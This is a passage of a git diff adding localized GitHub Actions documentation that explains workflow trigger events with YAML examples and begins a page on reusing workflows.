- `auto_merge_disabled` | Last commit on the PR base branch | PR base branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_target)." By default, a workflow only runs when a `pull_request_target` event's activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows by different activity types, use the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)." + +{% endnote %} + +Runs your workflow when activity on a pull request in the workflow's repository occurs. For example, if no activity types are specified, the workflow runs when a pull request is opened or reopened or when the head branch of the pull request is updated. + +This event runs in the context of the base of the pull request, rather than in the context of the merge commit, as the `pull_request` event does. This prevents execution of unsafe code from the head of the pull request that could alter your repository or steal any secrets you use in your workflow. This event allows your workflow to do things like label or comment on pull requests from forks. Avoid using this event if you need to build or run code from the pull request. + +To ensure repository security, branches with names that match certain patterns (such as those which look similar to SHAs) may not trigger workflows with the `pull_request_target` event. + +{% warning %} + +**Warning:** For workflows that are triggered by the `pull_request_target` event, the `GITHUB_TOKEN` is granted read/write repository permission unless the `permissions` key is specified and the workflow can access secrets, even when it is triggered from a fork. Although the workflow runs in the context of the base of the pull request, you should make sure that you do not check out, build, or run untrusted code from the pull request with this event. Additionally, any caches share the same scope as the base branch. To help prevent cache poisoning, you should not save the cache if there is a possibility that the cache contents were altered. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" on the GitHub Security Lab website. + +{% endwarning %} + +For example, you can run a workflow when a pull request has been `assigned`, `opened`, `synchronize`, or `reopened`. + +```yaml +on: + pull_request_target: + types: [assigned, opened, synchronize, reopened] +``` + +#### Running your workflow based on the head or base branch of a pull request + +You can use the `branches` or `branches-ignore` filter to configure your workflow to only run on pull requests that target specific branches. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore)." + +For example, this workflow will run when someone opens a pull request that targets a branch whose name starts with `releases/`: + +```yaml +on: + pull_request_target: + types: + - opened + branches: + - 'releases/**' +``` + +{% note %} + +**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: + +```yaml +on: + pull_request_target: + types: + - opened + branches: + - 'releases/**' + paths: + - '**.js' +``` + +{% endnote %} + +To run a job based on the pull request's head branch name (as opposed to the pull request's base branch name), use the `github.head_ref` context in a conditional. For example, this workflow will run whenever a pull request is opened, but the `run_if` job will only execute if the head of the pull request is a branch whose name starts with `releases/`: + +```yaml +on: + pull_request: + types: + - opened +jobs: + run_if: + if: startsWith(github.head_ref, 'releases/') + runs-on: ubuntu-latest + steps: + - run: echo "The head of this PR starts with 'releases/'" +``` + +#### Running your workflow based on files changed in a pull request + +You can use the `paths` or `paths-ignore` filter to configure your workflow to run when a pull request changes specific files. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)." + +For example, this workflow will run when a pull request includes a change to a JavaScript file (`.js`): + +```yaml +on: + pull_request_target: + paths: + - '**.js' +``` + +{% note %} + +**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: + +```yaml +on: + pull_request_target: + types: + - opened + branches: + - 'releases/**' + paths: + - '**.js' +``` + +{% endnote %} + +#### Running your workflow when a pull request merges + +When a pull request merges, the pull request is automatically closed. To run a workflow when a pull request merges, use the `pull_request_target` `closed` event type along with a conditional that checks the `merged` value of the event. For example, the following workflow will run whenever a pull request closes. The `if_merged` job will only run if the pull request was also merged. + +```yaml +on: + pull_request_target: + types: + - closed + +jobs: + if_merged: + if: github.event.pull_request.merged == true + runs-on: ubuntu-latest + steps: + - run: | + echo The PR was merged +``` + +### `push` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`push`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#push) | n/a | When you delete a branch, the SHA in the workflow run (and its associated refs) reverts to the default branch of the repository. | Updated ref | + +{% note %} + +**Note:** The webhook payload available to GitHub Actions does not include the `added`, `removed`, and `modified` attributes in the `commit` object. You can retrieve the full commit object using the API. For information, see "[Commit](/graphql/reference/objects#commit)" in the GraphQL API documentation or "[Get a commit](/rest/reference/commits#get-a-commit)" in the REST API documentation. + +{% endnote %} + +{% note %} + +**Note**: An event will not be created when you push more than three tags at once. + +{% endnote %} + +Runs your workflow when you push a commit or tag. + +For example, you can run a workflow when the `push` event occurs. + +```yaml +on: + push +``` + +{% note %} + +**Note**: When a `push` webhook event triggers a workflow run, the Actions UI's "pushed by" field shows the account of the pusher and not the author or committer. However, if the changes are pushed to a repository using SSH authentication with a deploy key, then the "pushed by" field will be the repository admin who verified the deploy key when it was added it to a repository. + +{% endnote %} + +#### Running your workflow only when a push to specific branches occurs + +You can use the `branches` or `branches-ignore` filter to configure your workflow to only run when specific branches are pushed. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore)." + +For example, this workflow will run when someone pushes to `main` or to a branch that starts with `releases/`. + +```yaml +on: + push: + branches: + - 'main' + - 'releases/**' +``` + +{% note %} + +**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a push that includes a change to a JavaScript (`.js`) file is made to a branch whose name starts with `releases/`: + +```yaml +on: + push: + branches: + - 'releases/**' + paths: + - '**.js' +``` + +{% endnote %} + +#### Running your workflow only when a push of specific tags occurs + +You can use the `tags` or `tags-ignore` filter to configure your workflow to only run when specific tags are pushed. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore)." + +For example, this workflow will run when someone pushes a tag that starts with `v1.`. + +```yaml +on: + push: + tags: + - v1.** +``` + +#### Running your workflow only when a push affects specific files + +You can use the `paths` or `paths-ignore` filter to configure your workflow to run when a push to specific files occurs. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)." + +For example, this workflow will run when someone pushes a change to a JavaScript file (`.js`): + +```yaml +on: + push: + paths: + - '**.js' +``` + +{% note %} + +**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a push that includes a change to a JavaScript (`.js`) file is made to a branch whose name starts with `releases/`: + +```yaml +on: + push: + branches: + - 'releases/**' + paths: + - '**.js' +``` + +{% endnote %} + +### `registry_package` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`registry_package`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#package) | - `published`
- `updated` | Commit of the published package | Branch or tag of the published package | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#registry_package)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when activity related to {% data variables.product.prodname_registry %} occurs in your repository. For more information, see "[{% data variables.product.prodname_registry %} Documentation](/packages)." + +For example, you can run a workflow when a new package version has been `published`. + +```yaml +on: + registry_package: + types: [published] +``` + +### `release` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`release`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#release) | - `published`
- `unpublished`
- `created`
- `edited`
- `deleted`
- `prereleased`
- `released` | Last commit in the tagged release | Tag ref of release `refs/tags/` | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#release)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% note %} + +**Note:** Workflows are not triggered for the `created`, `edited`, or `deleted` activity types for draft releases. When you create your release through the {% data variables.product.product_name %} browser UI, your release may automatically be saved as a draft. + +{% endnote %} + +{% note %} + +**Note:** The `prereleased` type will not trigger for pre-releases published from draft releases, but the `published` type will trigger. If you want a workflow to run when stable *and* pre-releases publish, subscribe to `published` instead of `released` and `prereleased`. + +{% endnote %} + +Runs your workflow when release activity in your repository occurs. For information about the release APIs, see "[Release](/graphql/reference/objects#release)" in the GraphQL API documentation or "[Releases](/rest/reference/releases)" in the REST API documentation. + +For example, you can run a workflow when a release has been `published`. + +```yaml +on: + release: + types: [published] +``` + +### `repository_dispatch` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| ------------------ | ------------ | ------------ | ------------------| +| [repository_dispatch](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#repository_dispatch) | Custom | Last commit on default branch | Default branch | + +{% data reusables.actions.branch-requirement %} + +You can use the {% data variables.product.product_name %} API to trigger a webhook event called [`repository_dispatch`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#repository_dispatch) when you want to trigger a workflow for activity that happens outside of {% data variables.product.product_name %}. For more information, see "[Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)." + +When you make a request to create a `repository_dispatch` event, you must specify an `event_type` to describe the activity type. By default, all `repository_dispatch` activity types trigger a workflow to run. You can use the `types` keyword to limit your workflow to run when a specific `event_type` value is sent in the `repository_dispatch` webhook payload. + +```yaml +on: + repository_dispatch: + types: [on-demand-test] +``` + +{% note %} + +**Note:** The `event_type` value is limited to 100 characters. + +{% endnote %} + +Any data that you send through the `client_payload` parameter will be available in the `github.event` context in your workflow. For example, if you send this request body when you create a repository dispatch event: + +```json +{ + "event_type": "test_result", + "client_payload": { + "passed": false, + "message": "Error: timeout" + } +} +``` + +then you can access the payload in a workflow like this: + +```yaml +on: + repository_dispatch: + types: [test_result] + +jobs: + run_if_failure: + if: {% raw %}${{ !github.event.client_payload.passed }}{% endraw %} + runs-on: ubuntu-latest + steps: + - env: + MESSAGE: {% raw %}${{ github.event.client_payload.message }}{% endraw %} + run: echo $MESSAGE +``` + +### `schedule` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| n/a | n/a | Last commit on default branch | Default branch | When the scheduled workflow is set to run. A scheduled workflow uses [POSIX cron syntax](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). For more information, see "[Triggering a workflow with events](/articles/configuring-a-workflow/#triggering-a-workflow-with-events)." | + +{% data reusables.actions.schedule-delay %} + +The `schedule` event allows you to trigger a workflow at a scheduled time. + +{% data reusables.repositories.actions-scheduled-workflow-example %} + +Cron syntax has five fields separated by a space, and each field represents a unit of time. + +``` +┌───────────── minute (0 - 59) +│ ┌───────────── hour (0 - 23) +│ │ ┌───────────── day of the month (1 - 31) +│ │ │ ┌───────────── month (1 - 12 or JAN-DEC) +│ │ │ │ ┌───────────── day of the week (0 - 6 or SUN-SAT) +│ │ │ │ │ +│ │ │ │ │ +│ │ │ │ │ +* * * * * +``` + +You can use these operators in any of the five fields: + +| Operator | Description | Example | +| -------- | ----------- | ------- | +| * | Any value | `15 * * * *` runs at every minute 15 of every hour of every day. | +| , | Value list separator | `2,10 4,5 * * *` runs at minute 2 and 10 of the 4th and 5th hour of every day. | +| - | Range of values | `30 4-6 * * *` runs at minute 30 of the 4th, 5th, and 6th hour. | +| / | Step values | `20/15 * * * *` runs every 15 minutes starting from minute 20 through 59 (minutes 20, 35, and 50). | + +{% note %} + +**Note:** {% data variables.product.prodname_actions %} does not support the non-standard syntax `@yearly`, `@monthly`, `@weekly`, `@daily`, `@hourly`, and `@reboot`. + +{% endnote %} + +You can use [crontab guru](https://crontab.guru/) to help generate your cron syntax and confirm what time it will run. To help you get started, there is also a list of [crontab guru examples](https://crontab.guru/examples.html). + +Notifications for scheduled workflows are sent to the user who last modified the cron syntax in the workflow file. For more information, see "[Notifications for workflow runs](/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs)." + +### `status` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`status`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#status) | n/a | Last commit on default branch | n/a | + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when the status of a Git commit changes. For example, commits can be marked as `error`, `failure`, `pending`, or `success`. If you want to provide more details about the status change, you may want to use the [`check_run`](#check_run) event. For information about the commit status APIs, see "[Status](/graphql/reference/objects#status)" in the GraphQL API documentation or "[Statuses](/rest/reference/commits#commit-statuses)" in the REST API documentation. + +For example, you can run a workflow when the `status` event occurs. + +```yaml +on: + status +``` + +If you want to run a job in your workflow based on the new commit state, you can use the `github.event.state` context. For example, the following workflow triggers when a commit status changes, but the `if_error_or_failure` job only runs if the new commit state is `error` or `failure`. + +```yaml +on: + status +jobs: + if_error_or_failure: + runs-on: ubuntu-latest + if: >- + github.event.state == 'error' || + github.event.state == 'failure' + steps: + - env: + DESCRIPTION: {% raw %}${{ github.event.description }}{% endraw %} + run: | + echo The status is error or failed: $DESCRIPTION +``` + +### `watch` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`watch`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#watch) | - `started` | Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} Although only the `started` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#watch)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +Runs your workflow when the workflow's repository is starred. For information about the pull request APIs, see "[addStar](/graphql/reference/mutations#addstar)" in the GraphQL API documentation or "[Starring](/rest/reference/activity#starring)" in the REST API documentation. + +For example, you can run a workflow when someone stars a repository, which is the `started` activity type for a watch event. + +```yaml +on: + watch: + types: [started] +``` + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} + +### `workflow_call` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| ------------------ | ------------ | ------------ | ------------------| +| Same as the caller workflow | n/a | Same as the caller workflow | Same as the caller workflow | + +`workflow_call` is used to indicate that a workflow can be called by another workflow. When a workflow is triggered with the `workflow_call` event, the event payload in the called workflow is the same event payload from the calling workflow. For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." + +The example below only runs the workflow when it's called from another workflow: + +```yaml +on: workflow_call +``` + +{% endif %} + +### `workflow_dispatch` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| ------------------ | ------------ | ------------ | ------------------| +| [workflow_dispatch](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#workflow_dispatch) | n/a | Last commit on the `GITHUB_REF` branch or tag | Branch or tag that received dispatch | + +To manually trigger a workflow, use the `workflow_dispatch` event. You can manually trigger a workflow run using the {% data variables.product.product_name %} API, {% data variables.product.prodname_cli %}, or {% data variables.product.product_name %} browser interface. For more information, see "[Manually running a workflow](/actions/managing-workflow-runs/manually-running-a-workflow)." + +```yaml +on: workflow_dispatch +``` + +#### Providing inputs + +You can configure custom-defined input properties, default input values, and required inputs for the event directly in your workflow. When you trigger the event, you can provide the `ref` and any `inputs`. When the workflow runs, you can access the input values in the {% ifversion actions-unified-inputs %}`inputs`{% else %}`github.event.inputs`{% endif %} context. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." + +{% data reusables.actions.inputs-vs-github-event-inputs %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +This example defines inputs called `logLevel`, `tags`, and `environment`. You pass values for these inputs to the workflow when you run it. This workflow then prints the values to the log, using the {% ifversion actions-unified-inputs %}`inputs.logLevel`, `inputs.tags`, and `inputs.environment`{% else %}`github.event.inputs.logLevel`, `github.event.inputs.tags`, and `github.event.inputs.environment`{% endif %} context properties. + +```yaml +on: + workflow_dispatch: + inputs: + logLevel: + description: 'Log level' + required: true + default: 'warning' + type: choice + options: + - info + - warning + - debug + tags: + description: 'Test scenario tags' + required: false + type: boolean + environment: + description: 'Environment to run tests against' + type: environment + required: true + +jobs: + log-the-inputs: + runs-on: ubuntu-latest + steps: + - run: | + echo "Log level: $LEVEL" + echo "Tags: $TAGS" + echo "Environment: $ENVIRONMENT" + env: + LEVEL: {% ifversion actions-unified-inputs %}{% raw %}${{ inputs.logLevel }}{% endraw %}{% else %}{% raw %}${{ github.event.inputs.logLevel }}{% endraw %}{% endif %} + TAGS: {% ifversion actions-unified-inputs %}{% raw %}${{ inputs.tags }}{% endraw %}{% else %}{% raw %}${{ github.event.inputs.tags }}{% endraw %}{% endif %} + ENVIRONMENT: {% ifversion actions-unified-inputs %}{% raw %}${{ inputs.environment }}{% endraw %}{% else %}{% raw %}${{ github.event.inputs.environment }}{% endraw %}{% endif %} +``` + +If you run this workflow from a browser you must enter values for the required inputs manually before the workflow will run. + +![Entering inputs for a workflow](/assets/images/help/images/workflow-dispatch-inputs.png) + +You can also pass inputs when you run a workflow from a script, or by using {% data variables.product.prodname_cli %}. For example: + +``` +gh workflow run run-tests.yml -f logLevel=warning -f tags=false -f environment=staging +``` + +For more information, see the {% data variables.product.prodname_cli %} information in "[Manually running a workflow](/actions/managing-workflow-runs/manually-running-a-workflow)." + +{% else %} +This example defines the `name` and `home` inputs and prints them using the {% ifversion actions-unified-inputs %}`inputs.name` and `inputs.home`{% else %}`github.event.inputs.name` and `github.event.inputs.home`{% endif %} contexts. If a `home` isn't provided, the default value 'The Octoverse' is printed. + +```yaml +name: Manually triggered workflow +on: + workflow_dispatch: + inputs: + name: + description: 'Person to greet' + required: true + default: 'Mona the Octocat' + home: + description: 'location' + required: false + default: 'The Octoverse' + +jobs: + say_hello: + runs-on: ubuntu-latest + steps: + - run: | + echo Hello $NAME! + echo -in $HOME + env: + NAME: {% ifversion actions-unified-inputs %}{% raw %}${{ inputs.name }}{% endraw %}{% else %}{% raw %}${{ github.event.inputs.name }}{% endraw %}{% endif %} + HOME: {% ifversion actions-unified-inputs %}{% raw %}${{ github.event.inputs.home }}{% endraw %}{% else %}{% raw %}${{ github.event.inputs.home }}{% endraw %}{% endif %} +``` +{% endif %} + +### `workflow_run` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | -------------- | ------------ | -------------| +| [`workflow_run`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#workflow_run) | - `completed`
- `requested`{% ifversion actions-workflow-run-in-progress %}
- `in_progress`{% endif %} | Last commit on default branch | Default branch | + +{% note %} + +**Note**: {% data reusables.developer-site.multiple_activity_types %} The `requested` activity type does not occur when a workflow is re-run. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_run)." {% data reusables.developer-site.limit_workflow_to_activity_types %} + +{% endnote %} + +{% data reusables.actions.branch-requirement %} + +{% note %} + +**Note:** You can't use `workflow_run` to chain together more than three levels of workflows. For example, if you attempt to trigger five workflows (named `B` to `F`) to run sequentially after an initial workflow `A` has run (that is: `A` → `B` → `C` → `D` → `E` → `F`), workflows `E` and `F` will not be run. + +{% endnote %} + +This event occurs when a workflow run is requested or completed. It allows you to execute a workflow based on execution or completion of another workflow. The workflow started by the `workflow_run` event is able to access secrets and write tokens, even if the previous workflow was not. This is useful in cases where the previous workflow is intentionally not privileged, but you need to take a privileged action in a later workflow. + +In this example, a workflow is configured to run after the separate "Run Tests" workflow completes. + +```yaml +on: + workflow_run: + workflows: [Run Tests] + types: + - completed +``` + +If you specify multiple `workflows` for the `workflow_run` event, only one of the workflows needs to run. For example, a workflow with the following trigger will run whenever the "Staging" workflow or the "Lab" workflow completes. + +```yaml +on: + workflow_run: + workflows: [Staging, Lab] + types: + - completed +``` + +#### Running a workflow based on the conclusion of another workflow + +A workflow run is triggered regardless of the conclusion of the previous workflow. If you want to run a job or step based on the result of the triggering workflow, you can use a conditional with the `github.event.workflow_run.conclusion` property. For example, this workflow will run whenever a workflow named "Build" completes, but the `on-success` job will only run if the "Build" workflow succeeded, and the `on-failure` job will only run if the "Build" workflow failed: + +```yaml +on: + workflow_run: + workflows: [Build] + types: [completed] + +jobs: + on-success: + runs-on: ubuntu-latest + if: {% raw %}${{ github.event.workflow_run.conclusion == 'success' }}{% endraw %} + steps: + - run: echo 'The triggering workflow passed' + on-failure: + runs-on: ubuntu-latest + if: {% raw %}${{ github.event.workflow_run.conclusion == 'failure' }}{% endraw %} + steps: + - run: echo 'The triggering workflow failed' +``` + +#### Limiting your workflow to run based on branches + +You can use the `branches` or `branches-ignore` filter to specify what branches the triggering workflow must run on in order to trigger your workflow. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_runbranchesbranches-ignore)." For example, a workflow with the following trigger will only run when the workflow named `Build` runs on a branch named `canary`. + +```yaml +on: + workflow_run: + workflows: [Build] + types: [requested] + branches: [canary] +``` + +#### Using data from the triggering workflow + +You can access the [`workflow_run` event payload](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_run) that corresponds to the workflow that triggered your workflow. For example, if your triggering workflow generates artifacts, a workflow triggered with the `workflow_run` event can access these artifacts. + +The following workflow uploads data as an artifact. (In this simplified example, the data is the pull request number.) + +```yaml +name: Upload data + +on: + pull_request: + +jobs: + upload: + runs-on: ubuntu-latest + + steps: + - name: Save PR number + env: + PR_NUMBER: {% raw %}${{ github.event.number }}{% endraw %} + run: | + mkdir -p ./pr + echo $PR_NUMBER > ./pr/pr_number + - uses: {% data reusables.actions.action-upload-artifact %} + with: + name: pr_number + path: pr/ +``` + +When a run of the above workflow completes, it triggers a run of the following workflow. The following workflow uses the `github.event.workflow_run` context and the {% data variables.product.product_name %} REST API to download the artifact that was uploaded by the above workflow, unzips the downloaded artifact, and comments on the pull request whose number was uploaded as an artifact. + +```yaml +name: Use the data + +on: + workflow_run: + workflows: [Upload data] + types: + - completed + +jobs: + download: + runs-on: ubuntu-latest + steps: + - name: 'Download artifact' + uses: {% data reusables.actions.action-github-script %} + with: + script: | + let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({ + owner: context.repo.owner, + repo: context.repo.repo, + run_id: context.payload.workflow_run.id, + }); + let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => { + return artifact.name == "pr_number" + })[0]; + let download = await github.rest.actions.downloadArtifact({ + owner: context.repo.owner, + repo: context.repo.repo, + artifact_id: matchArtifact.id, + archive_format: 'zip', + }); + let fs = require('fs'); + fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/pr_number.zip`, Buffer.from(download.data)); + + - name: 'Unzip artifact' + run: unzip pr_number.zip + + - name: 'Comment on PR' + uses: {% data reusables.actions.action-github-script %} + with: + github-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + script: | + let fs = require('fs'); + let issue_number = Number(fs.readFileSync('./pr_number')); + await github.rest.issues.createComment({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: issue_number, + body: 'Thank you for the PR!' + }); +``` diff --git a/translations/ru-RU/content/actions/using-workflows/index.md b/translations/ru-RU/content/actions/using-workflows/index.md new file mode 100644 index 000000000000..60e8fdd07064 --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/index.md @@ -0,0 +1,43 @@ +--- +title: Использование рабочих процессов +shortTitle: Using workflows +intro: 'Создание рабочих процессов {% data variables.product.prodname_actions %} и управление ими.' +redirect_from: + - /actions/configuring-and-managing-workflows/configuring-a-workflow + - /articles/creating-a-workflow-with-github-actions + - /articles/configuring-a-workflow + - /github/automating-your-workflow-with-github-actions/configuring-a-workflow + - /actions/automating-your-workflow-with-github-actions/configuring-a-workflow + - /actions/creating-workflows/workflow-configuration-options + - /articles/configuring-workflows + - /github/automating-your-workflow-with-github-actions/configuring-workflows + - /actions/automating-your-workflow-with-github-actions/configuring-workflows + - /actions/configuring-and-managing-workflows + - /actions/workflows + - /actions/advanced-guides +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-workflows + - /triggering-a-workflow + - /events-that-trigger-workflows + - /workflow-syntax-for-github-actions + - /workflow-commands-for-github-actions + - /reusing-workflows + - /caching-dependencies-to-speed-up-workflows + - /storing-workflow-data-as-artifacts + - /creating-starter-workflows-for-your-organization + - /using-starter-workflows + - /sharing-workflows-secrets-and-runners-with-your-organization + - /using-github-cli-in-workflows +ms.openlocfilehash: 0e9acb10f5c68cdd9fdc1a018a5859ed9a578429 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145120952' +--- + diff --git a/translations/ru-RU/content/actions/using-workflows/reusing-workflows.md b/translations/ru-RU/content/actions/using-workflows/reusing-workflows.md new file mode 100644 index 000000000000..2adee6a3f4e1 --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/reusing-workflows.md @@ -0,0 +1,437 @@ +--- +title: Reusing workflows +shortTitle: Reuse workflows +intro: Learn how to avoid duplication when creating a workflow by reusing existing workflows. +redirect_from: + - /actions/learn-github-actions/reusing-workflows +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.4' + ghae: '>= 3.4' +type: how_to +topics: + - Workflows +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.reusable-workflows-ghes-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Overview + +Rather than copying and pasting from one workflow to another, you can make workflows reusable. You and anyone with access to the reusable workflow can then call the reusable workflow from another workflow. + +Reusing workflows avoids duplication. This makes workflows easier to maintain and allows you to create new workflows more quickly by building on the work of others, just as you do with actions. Workflow reuse also promotes best practice by helping you to use workflows that are well designed, have already been tested, and have been proven to be effective. Your organization can build up a library of reusable workflows that can be centrally maintained. + +The diagram below shows an in-progress workflow run that uses a reusable workflow. + +* After each of three build jobs on the left of the diagram completes successfully, a dependent job called "Deploy" is run. +* The "Deploy" job calls a reusable workflow that contains three jobs: "Staging", "Review", and "Production." +* The "Production" deployment job only runs after the "Staging" job has completed successfully. +* When a job targets an environment, the workflow run displays a progress bar that shows the number of steps in the job. In the diagram below, the "Production" job contains 8 steps, with step 6 currently being processed. +* Using a reusable workflow to run deployment jobs allows you to run those jobs for each build without duplicating code in workflows. + +![Diagram of a reusable workflow for deployment](/assets/images/help/images/reusable-workflows-ci-cd.png) + +A workflow that uses another workflow is referred to as a "caller" workflow. The reusable workflow is a "called" workflow. One caller workflow can use multiple called workflows. Each called workflow is referenced in a single line. The result is that the caller workflow file may contain just a few lines of YAML, but may perform a large number of tasks when it's run. When you reuse a workflow, the entire called workflow is used, just as if it was part of the caller workflow. + +If you reuse a workflow from a different repository, any actions in the called workflow run as if they were part of the caller workflow. For example, if the called workflow uses `actions/checkout`, the action checks out the contents of the repository that hosts the caller workflow, not the called workflow. + +When a reusable workflow is triggered by a caller workflow, the `github` context is always associated with the caller workflow. The called workflow is automatically granted access to `github.token` and `secrets.GITHUB_TOKEN`. For more information about the `github` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)." + +You can view the reused workflows referenced in your {% data variables.product.prodname_actions %} workflows as dependencies in the dependency graph of the repository containing your workflows. For more information, see “[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).” + +### Reusable workflows and starter workflows + +Starter workflows allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When people create a new workflow, they can choose a starter workflow and some or all of the work of writing the workflow will be done for them. Within a starter workflow, you can also reference reusable workflows to make it easy for people to benefit from reusing centrally managed workflow code. If you use a commit SHA when referencing the reusable workflow, you can ensure that everyone who reuses that workflow will always be using the same YAML code. However, if you reference a reusable workflow by a tag or branch, be sure that you can trust that version of the workflow. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#reusing-third-party-workflows)." + +For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)." + +## Access to reusable workflows + +A reusable workflow can be used by another workflow if {% ifversion ghes or ghec or ghae %}any{% else %}either{% endif %} of the following is true: + +* Both workflows are in the same repository. +* The called workflow is stored in a public repository{% ifversion actions-workflow-policy %}, and your {% ifversion ghec %}enterprise{% else %}organization{% endif %} allows you to use public reusable workflows{% endif %}.{% ifversion ghes or ghec or ghae %} +* The called workflow is stored in an internal repository and the settings for that repository allow it to be accessed. For more information, see {% ifversion internal-actions %}"[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise){% else %}"[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository){% endif %}."{% endif %} + +## Using runners + +{% ifversion fpt or ghes or ghec %} + +### Using GitHub-hosted runners + +The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data 